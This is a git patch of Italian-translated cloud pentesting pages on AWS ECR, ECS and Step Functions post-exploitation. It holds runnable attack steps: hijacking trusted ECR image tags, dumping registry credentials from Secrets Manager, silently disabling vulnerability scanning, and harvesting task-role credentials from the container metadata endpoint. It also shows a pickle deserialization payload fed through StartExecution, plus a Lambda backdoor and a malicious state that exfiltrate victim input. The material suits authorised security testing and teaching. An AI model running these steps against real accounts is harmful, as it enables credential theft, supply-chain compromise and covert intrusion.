From 2385572807fcb3dced10140c3e11f30e6f0be8f4 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 16 Feb 2026 10:36:01 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-ecr-post-exploitation/README.md | 92 +++++++-- .../aws-ecs-post-exploitation/README.md | 67 ++++--- .../README.md | 92 ++++++--- .../aws-ecr-privesc/README.md | 66 ++++--- .../aws-ecs-privesc/README.md | 177 +++++++++++------- 5 files changed, 338 insertions(+), 156 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index 3a9f60a47..b9cbec749 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -53,9 +53,67 @@ Dopo aver scaricato le immagini dovresti **controllarle per informazioni sensibi https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} +### Sovrascrivere un Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain) + +Se i consumer effettuano il deploy per tag (per esempio `stable`, `prod`, `latest`) e i tag sono mutabili, `ecr:PutImage` può essere usato per **rindirizzare un tag attendibile** verso contenuti controllati dall'attaccante caricando un manifest dell'immagine sotto quel tag. + +Un approccio comune è copiare il manifest di un tag già controllato dall'attaccante (o un digest) e sovrascrivere il tag attendibile con esso. +```bash +REGION=us-east-1 +REPO="" +SRC_TAG="backdoor" # attacker-controlled tag already present in the repository +DST_TAG="stable" # trusted tag used by downstream systems + +# 1) Fetch the manifest behind the attacker tag +MANIFEST="$(aws ecr batch-get-image \ +--region "$REGION" \ +--repository-name "$REPO" \ +--image-ids imageTag="$SRC_TAG" \ +--query 'images[0].imageManifest' \ +--output text)" + +# 2) Overwrite the trusted tag with that manifest +aws ecr put-image \ +--region "$REGION" \ +--repository-name "$REPO" \ +--image-tag "$DST_TAG" \ +--image-manifest "$MANIFEST" + +# 3) Verify both tags now point to the same digest +aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text +aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text +``` +**Impatto**: qualsiasi workload che effettua il pull di `.../$REPO:$DST_TAG` riceverà contenuto scelto dall'attaccante senza alcuna modifica a IaC, Kubernetes manifests o task definitions. + +#### Esempio di consumatore a valle: Lambda Container Images che si aggiornano automaticamente al cambio del tag + +Se una funzione Lambda è distribuita come **container image** (`PackageType=Image`) e utilizza un **ECR tag** (es., `:stable`, `:prod`) invece di un digest, sovrascrivere quel tag può trasformare una manomissione della supply chain in **code execution inside the Lambda execution role** una volta che la funzione viene aggiornata. + +Come enumerare questa situazione: +```bash +REGION=us-east-1 + +# 1) Find image-based Lambda functions and their ImageUri +aws lambda list-functions --region "$REGION" \ +--query "Functions[?PackageType=='Image'].[FunctionName]" --output text | +tr '\t' '\n' | while read -r fn; do +img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)" +[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img" +done + +# 2) Check whether a function references a mutable tag (contains ":") +# Prefer digest pinning (contains "@sha256:") in well-hardened deployments. +``` +How refresh often happens: + +- CI/CD o GitOps chiamano regolarmente `lambda:UpdateFunctionCode` (anche con la stessa `ImageUri`) per forzare Lambda a risolvere di nuovo il tag. +- L'automazione event-driven ascolta gli eventi immagine di ECR (push/aggiornamenti tag) e avvia una Lambda/automazione di aggiornamento. + +Se puoi sovrascrivere il tag trusted e esiste un meccanismo di refresh, la successiva invocazione della funzione eseguirà attacker-controlled code, che potrà quindi leggere le variabili d'ambiente, accedere a risorse di rete e invocare le API AWS usando il ruolo Lambda (per esempio, `secretsmanager:GetSecretValue`). + ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository. +Un attacker con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per cancellare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Questo causerebbe la perdita di tutte le immagini dei container memorizzate nel repository. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -90,21 +148,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` -### Exfiltrate credenziali del registro upstream da ECR Pull‑Through Cache (PTC) +### Exfiltrate le credenziali dei registri upstream da ECR Pull‑Through Cache (PTC) -Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream sono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli admin ECR un ampio accesso in lettura a Secrets Manager, consentendo la exfiltration delle credenziali e il riutilizzo al di fuori di AWS. +Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR un ampio accesso in lettura a Secrets Manager, permettendo credential exfiltration e il riutilizzo al di fuori di AWS. Requisiti - secretsmanager:ListSecrets - secretsmanager:GetSecretValue -Elencare i segreti PTC candidati +Enumerare i secret PTC candidati ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Esegui il dump dei secrets scoperti e analizza i campi comuni +Dump dei secrets scoperti e analisi dei campi comuni ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -114,17 +172,17 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` -Facoltativo: verificare i leaked creds contro l'upstream (login in sola lettura) +Opzionale: verificare leaked creds contro l'upstream (read‑only login) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Impatto -- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere abusate al di fuori di AWS per pull di immagini private o per accedere a repository aggiuntivi a seconda delle upstream permissions. +- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registry upstream (username/password o token), che possono essere sfruttate al di fuori di AWS per pullare immagini private o accedere a repository aggiuntivi a seconda delle autorizzazioni upstream. -### Registry-level stealth: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration` +### Furtività a livello di registry: disabilitare o ridurre lo scanning tramite `ecr:PutRegistryScanningConfiguration` -Un attacker con registry-level ECR permissions può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malicious. +Un attaccante con permessi ECR a livello di registry può ridurre silenziosamente o disabilitare lo scanning automatico delle vulnerabilità per TUTTI i repository impostando la configurazione di scanning del registry su BASIC senza alcuna regola scan-on-push. Questo impedisce che i nuovi push di immagini vengano scansionati automaticamente, nascondendo immagini vulnerabili o malevole. Requisiti - ecr:PutRegistryScanningConfiguration @@ -132,7 +190,7 @@ Requisiti - ecr:PutImageScanningConfiguration (opzionale, per-repo) - ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica) -Degradazione a livello di registry a modalità manuale (no auto scans) +Downgrade dell'intero registry a manuale (nessuna scansione automatica) ```bash REGION=us-east-1 # Read current config (save to restore later) @@ -144,7 +202,7 @@ aws ecr put-registry-scanning-configuration \ --scan-type BASIC \ --rules '[]' ``` -Test con un repo e un image +Test con un repo e un'immagine ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth @@ -159,7 +217,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -Opzionale: degradare ulteriormente a livello del repo +Opzionale: degradare ulteriormente a livello di repository ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -168,19 +226,19 @@ aws ecr put-image-scanning-configuration \ --image-scanning-configuration scanOnPush=false ``` Impatto -- I nuovi push di immagini su tutto il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o dannosi e ritardando il rilevamento fino a quando non viene avviata una scansione manuale. +- I nuovi push di immagini su tutto il registro non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o dannosi e ritardando il rilevamento fino all'avvio di una scansione manuale. -### Declassamento del motore di scanning a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) +### Riduzione del motore di scansione a livello di registro via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) -Riduci la qualità del rilevamento delle vulnerabilità su tutto il registry cambiando il motore di scansione BASIC dal predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni, ma può modificare in modo significativo i risultati/coprertura. Combinalo con una configurazione di scanning registry BASIC senza regole per rendere le scansioni esclusivamente manuali. +Riduci la qualità del rilevamento delle vulnerabilità su tutto il registro passando il motore di scansione BASIC dal valore predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni ma può cambiare materialmente i risultati/copertura. Combinalo con una configurazione di scansione del registro BASIC senza regole per rendere le scansioni esclusivamente manuali. Requisiti - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Impatto -- Registry setting `BASIC_SCAN_TYPE_VERSION` impostato su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore declassato. CloudTrail records the `PutAccountSetting` API call. +- Impostazione del registro `BASIC_SCAN_TYPE_VERSION` su `CLAIR`, così le successive scansioni BASIC verranno eseguite con il motore degradato. CloudTrail registra la chiamata API `PutAccountSetting`. Passaggi ```bash @@ -201,7 +259,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` -### Scansionare le immagini ECR per vulnerabilità +### Scansiona immagini ECR per vulnerabilità ```bash #!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md index cf7cb8f50..a6a0203a5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -12,33 +12,33 @@ Per maggiori informazioni consulta: ### Ruoli IAM dell'host -In ECS un **IAM role può essere assegnato al task** in esecuzione all'interno del container. **Se** il task è eseguito su un'istanza **EC2**, l'**EC2 instance** avrà **un altro IAM** role allegato a sé.\ -Questo significa che se riesci a **compromise** un'istanza ECS puoi potenzialmente **ottenere l'IAM role associato a ECR e all'istanza EC2**. Per maggiori info su come recuperare quelle credenziali consulta: +In ECS un **IAM role can be assigned to the task** in esecuzione all'interno del container. **If** il task è eseguito su un'istanza **EC2**, l'**EC2 instance** avrà **another IAM** role collegato.\ +Ciò significa che se riesci a **compromise** un'istanza ECS puoi potenzialmente **obtain the IAM role associated to the ECR and to the EC2 instance**. Per maggiori info su come ottenere queste credenziali consulta: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] -> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced. +> IMDSv2 con hop limit impostato a 1 **does not** blocca i task awsvpc o host-networked — solo i Docker bridge tasks stanno sufficientemente lontani perché le risposte muoiano. Vedi [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) per il workflow completo dell'attacco e le note sui bypass. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) mostra che i task awsvpc e host continuano a recuperare le credenziali dell'host anche quando IMDSv2+h=1 è applicato. ### Privesc to node to steal other containers creds & secrets -Inoltre, EC2 usa docker per eseguire i task ECS, quindi se riesci a evadere sul nodo o ad **access the docker socket**, puoi **controllare** quali **other containers** sono in esecuzione, e persino **entrare al loro interno** e **steal their IAM roles** allegati. +Tuttavia, EC2 usa docker per eseguire i ECS tasks, quindi se riesci a effettuare escape al nodo o ad **access the docker socket**, puoi **check** quali **other containers** sono in esecuzione, e perfino **get inside of them** e **steal their IAM roles** collegati. -#### Forzare l'esecuzione di container sull'host corrente +#### Making containers run in current host -Inoltre, l'**EC2 instance role** avrà di solito abbastanza **permissions** per **update the container instance state** delle EC2 instance usate come nodi nel cluster. Un attacker potrebbe modificare lo **state of an instance to DRAINING**, quindi ECS **rimuoverà tutti i tasks da essa** e quelli eseguiti come **REPLICA** verranno **run in a different instance,** potenzialmente dentro l'**attackers instance**, permettendogli di **steal their IAM roles** e ottenere informazioni sensibili dall'interno del container. +Inoltre, il **EC2 instance role** solitamente avrà sufficienti **permissions** per **update the container instance state** delle istanze EC2 usate come nodi nel cluster. Un attaccante potrebbe modificare lo **state of an instance to DRAINING**, allora ECS **remove all the tasks from it** e quelli eseguiti come **REPLICA** saranno **run in a different instance,** potenzialmente dentro l'**attackers instance** così da poter **steal their IAM roles** e eventuali informazioni sensibili presenti all'interno del container. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -La stessa tecnica può essere fatta **deregistrando l'istanza EC2 dal cluster**. Questo è potenzialmente meno furtivo ma **forzerà i task a essere eseguiti su altre istanze:** +La stessa tecnica può essere eseguita **deregistrando l'EC2 instance dal cluster**. Questo è potenzialmente meno furtivo ma **costringerà i tasks a essere eseguiti su altre instances:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Una tecnica finale per forzare la riesecuzione delle task è indicare a ECS che la **task o il container siano stati fermati**. Ci sono 3 API potenziali per farlo: +Una tecnica finale per forzare la riesecuzione delle task consiste nell'indicare a ECS che la **task o il container è stato fermato**. Ci sono 3 API potenziali per farlo: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -50,36 +50,55 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` -### Rubare informazioni sensibili dai container ECR +#### Join the Cluster With an Attacker Host (Register Container Instance) -L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken`, che le permette di **scaricare immagini** (puoi cercare informazioni sensibili al loro interno). +Un'altra variante (più diretta rispetto al draining) è **aggiungere capacità sotto il tuo controllo** al cluster registrando un'istanza EC2 come container instance (`ecs:RegisterContainerInstance`) e impostando gli attributi richiesti della container instance in modo che i placement constraints combacino. Una volta che i task vengono eseguiti sul tuo host, puoi ispezionare/eseguire comandi nei container e raccogliere le credenziali `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`. + +See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow. + +### Steal sensitive info from ECR containers + +L'istanza EC2 probabilmente avrà anche il permesso `ecr:GetAuthorizationToken` che le consente di **scaricare immagini** (potresti cercare informazioni sensibili al loro interno). + +### Steal Task Role Credentials via `ecs:ExecuteCommand` + +If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials: + +- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"` +- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role + +See the ECS privilege escalation page for enumeration and command examples. -### Montare uno snapshot EBS direttamente in un ECS task (configuredAtLaunch + volumeConfigurations) -Abusa della integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente in un nuovo ECS task/service e leggere i dati dall'interno del container. -- Requisiti minimi: + + +### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) + +Abusa dell'integrazione nativa ECS EBS (2024+) per montare il contenuto di uno snapshot EBS esistente direttamente all'interno di un nuovo ECS task/service e leggere i dati dall'interno del container. + +- Needs (minimum): - ecs:RegisterTaskDefinition -- Almeno uno di: ecs:RunTask OR ecs:CreateService/ecs:UpdateService -- iam:PassRole su: -- ECS infrastructure role usato per i volumi (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) -- Task execution/Task roles referenziati dalla task definition -- Se lo snapshot è criptato con una CMK: permessi KMS per il ruolo infra (la AWS managed policy sopra include i grant KMS necessari per le AWS managed keys). +- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole on: +- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles referenced by the task definition +- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys). -- Impatto: Leggere contenuti arbitrari del disco dallo snapshot (es. file di database) all'interno del container ed exfiltrate via network/logs. +- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs. -Passaggi (esempio Fargate): +Steps (Fargate example): -1) Crea l'ECS infrastructure role (se non esiste) e allega la managed policy: +1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy: ```bash aws iam create-role --role-name ecsInfrastructureRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` -2) Registra una task definition con un volume contrassegnato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi esegue sleep): +2) Registra una task definition con un volume marcato `configuredAtLaunch` e montalo nel container. Esempio (stampa il secret e poi rimane in esecuzione): ```json { "family": "ht-ebs-read", @@ -99,7 +118,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` -3) Creare o aggiornare un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio: +3) Crea o aggiorna un servizio passando lo snapshot EBS tramite `volumeConfigurations.managedEBSVolume` (richiede iam:PassRole sul ruolo infra). Esempio: ```json { "cluster": "ht-ecs-ebs", @@ -113,7 +132,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ ] } ``` -4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (es., `/loot`). Esfiltra tramite la rete e i log del task. +4) Quando il task si avvia, il container può leggere il contenuto dello snapshot nel percorso di mount configurato (ad es., `/loot`). Esfiltra tramite la rete/i log del task. Pulizia: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md index 91b6d82f1..e75778f80 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -12,13 +12,13 @@ Per maggiori informazioni su questo servizio AWS, consulta: ### `states:RevealSecrets` -Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true. +Questa autorizzazione permette di **rivelare i dati segreti all'interno di un'esecuzione**. Per farlo è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente state machines, le loro versioni e alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le state machines interessate. Inoltre, permetterebbe all'attaccante di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato. +Un attacker con queste autorizzazioni potrebbe eliminare permanentemente le state machine, le loro versioni e gli alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere un tempo significativo per recuperare e ripristinare le state machine interessate. Inoltre, consentirebbe all'attacker di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato. > [!NOTE] > @@ -33,22 +33,22 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Impatto potenziale**: Interruzione di flussi di lavoro critici, perdita di dati e tempi di inattività operativi. +- **Impatto potenziale**: Interruzione di workflow critici, perdita di dati e downtime operativo. ### `states:UpdateMapRun` -Un attacker con questa autorizzazione potrebbe manipolare la configurazione di failure del Map Run e l'impostazione di parallelismo, potendo aumentare o diminuire il numero massimo di esecuzioni figlie del workflow consentite, incidendo direttamente sulle prestazioni del servizio. Inoltre, un attacker potrebbe manomettere la percentuale e il conteggio di failure tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero Map Run fallisca, influenzando direttamente l'esecuzione della state machine e potenzialmente interrompendo flussi di lavoro critici. +Un attacker con questo permesso potrebbe manipolare la Map Run failure configuration e la parallel setting, potendo aumentare o diminuire il numero massimo di child workflow executions consentite, influenzando direttamente le performance del servizio. Inoltre, un attacker potrebbe manomettere la tolerated failure percentage e il count, riducendo questo valore a 0 in modo che ogni volta che un item fallisce, l'intero map run fallirebbe, influenzando direttamente la state machine execution e potenzialmente interrompendo workflow critici. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **Impatto potenziale**: Degrado delle prestazioni e interruzione di flussi di lavoro critici. +- **Potenziale impatto**: Degradazione delle prestazioni e interruzione di flussi di lavoro critici. ### `states:StopExecution` -Un attacker con questa permission potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo i flussi di lavoro e i processi in corso. Ciò potrebbe portare a transazioni incomplete, operazioni aziendali sospese e potenziale corruzione dei dati. +Un attacker con questa autorizzazione potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo flussi di lavoro e processi in corso. Questo potrebbe portare a transazioni incomplete, blocco delle operazioni aziendali e potenziale corruzione dei dati. > [!WARNING] -> Questa azione non è supportata dalle **express state machines**. +> Questa azione non è supportata da **express state machines**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` @@ -56,18 +56,60 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca ### `states:TagResource`, `states:UntagResource` -Un attaccante potrebbe aggiungere, modificare o rimuovere tags dalle risorse di Step Functions, compromettendo l'allocazione dei costi dell'organizzazione, il monitoraggio delle risorse e le politiche di controllo degli accessi basate sui tags. +Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di Step Functions, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le policy di controllo degli accessi basate sui tag. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag. +**Impatto Potenziale**: Interruzione dell'allocazione dei costi, del monitoraggio delle risorse e delle policy di controllo degli accessi basate sui tag. --- +### `states:StartExecution` -> Input Injection Into Dangerous Sinks + +`states:StartExecution` è un punto di ingresso del data-plane. Se una state machine inoltra input controllati dall'attaccante a un task che contiene un dangerous sink (per esempio una Lambda che fa `pickle.loads(base64.b64decode(payload_b64))`), a volte puoi trasformare **StartExecution** in **code execution** e **secret exfiltration** tramite l'output dell'esecuzione, senza alcuna autorizzazione per aggiornare la state machine. + +#### Scopri il workflow e la Lambda invocata + +Se disponi di `states:List*` / `states:Describe*`, puoi enumerare e leggere la definizione della state machine: +```bash +REGION=us-east-1 +SM_ARN="" + +aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text +``` +Se hai anche `lambda:GetFunction`, puoi scaricare il bundle del codice Lambda per capire come viene elaborato l'input (e confermare se esiste unsafe deserialization): +```bash +LAMBDA_ARN="" +CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)" +curl -sSL "$CODE_URL" -o /tmp/lambda.zip +unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null +ls -la /tmp/lambda_code +``` +#### Esempio: pickle creato nell'input di esecuzione (Python) + +Se la Lambda unpickles dati controllati dall'attaccante, un pickle malevolo può eseguire codice durante la deserializzazione. Esempio di payload che valuta un'espressione Python nel runtime della Lambda: +```bash +PAYLOAD_B64="$(python3 - <<'PY' +import base64, pickle + +class P: +def __reduce__(self): +# Replace with a safe proof (e.g. "1+1") or a target-specific read. +return (eval, ("__import__('os').popen('id').read()",)) + +print(base64.b64encode(pickle.dumps(P())).decode()) +PY +)" + +EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)" +aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text +``` +**Impatto**: Qualsiasi permesso che il task role ha (Secrets Manager reads, S3 writes, KMS decrypt, etc.) può diventare accessibile tramite input appositamente costruito, e il risultato può essere restituito nell'output di esecuzione di Step Functions. + ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` -Un attacker che compromette un user o role con le seguenti autorizzazioni: +Un attaccante che compromette un utente o role con le seguenti autorizzazioni: ```json { "Version": "2012-10-17", @@ -87,9 +129,9 @@ Un attacker che compromette un user o role con le seguenti autorizzazioni: ] } ``` -...possono condurre una **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con Step Function logic manipulation. +...può condurre un **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con la manipolazione della logica di Step Function. -Questo scenario presuppone che la vittima utilizzi **AWS Step Functions to orchestrate workflows that process sensitive input**, come credentials, tokens, o PII. +Questo scenario presuppone che la vittima utilizzi **AWS Step Functions per orchestrare workflow che elaborano input sensibili**, come credenziali, token o PII. Esempio di invocazione della vittima: ```bash @@ -97,13 +139,13 @@ aws stepfunctions start-execution \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim ``` -Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**: +Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**: --- -#### Aggiornata la funzione Lambda +#### Aggiornata la lambda function -L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input. +L'attacker modifica il codice della Lambda function già utilizzata dalla Step Function (`LegitBusinessLogic`) per exfiltrate silenziosamente i dati di input. ```python # send_to_attacker.py import requests @@ -120,7 +162,9 @@ aws lambda update-function-code \ --function-name LegitBusinessLogic \ --zip-file fileb://function.zip -profile attacker ``` -#### Aggiungi uno stato malevolo alla Step Function +--- + +#### Aggiungi uno Stato Malevolo alla Step Function In alternativa, l'attaccante può iniettare uno **exfiltration state** all'inizio del flusso di lavoro aggiornando la definizione della Step Function. ```malicious_state_definition.json @@ -143,7 +187,7 @@ aws stepfunctions update-state-machine \ --state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ --definition file://malicious_state_definition.json --profile attacker ``` -L'attaccante può essere ancora più furtivo aggiornando la definizione dello stato in qualcosa del genere +L'attaccante può essere ancora più furtivo aggiornando la definizione dello state in questo modo { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", @@ -166,18 +210,18 @@ dove la vittima non si accorgerà della differenza --- -### Configurazione della vittima (Contesto per l'exploit) +### Configurazione della vittima (Context for Exploit) -- Una Step Function (`LegitStateMachine`) viene usata per elaborare input utente sensibili. +- A Step Function 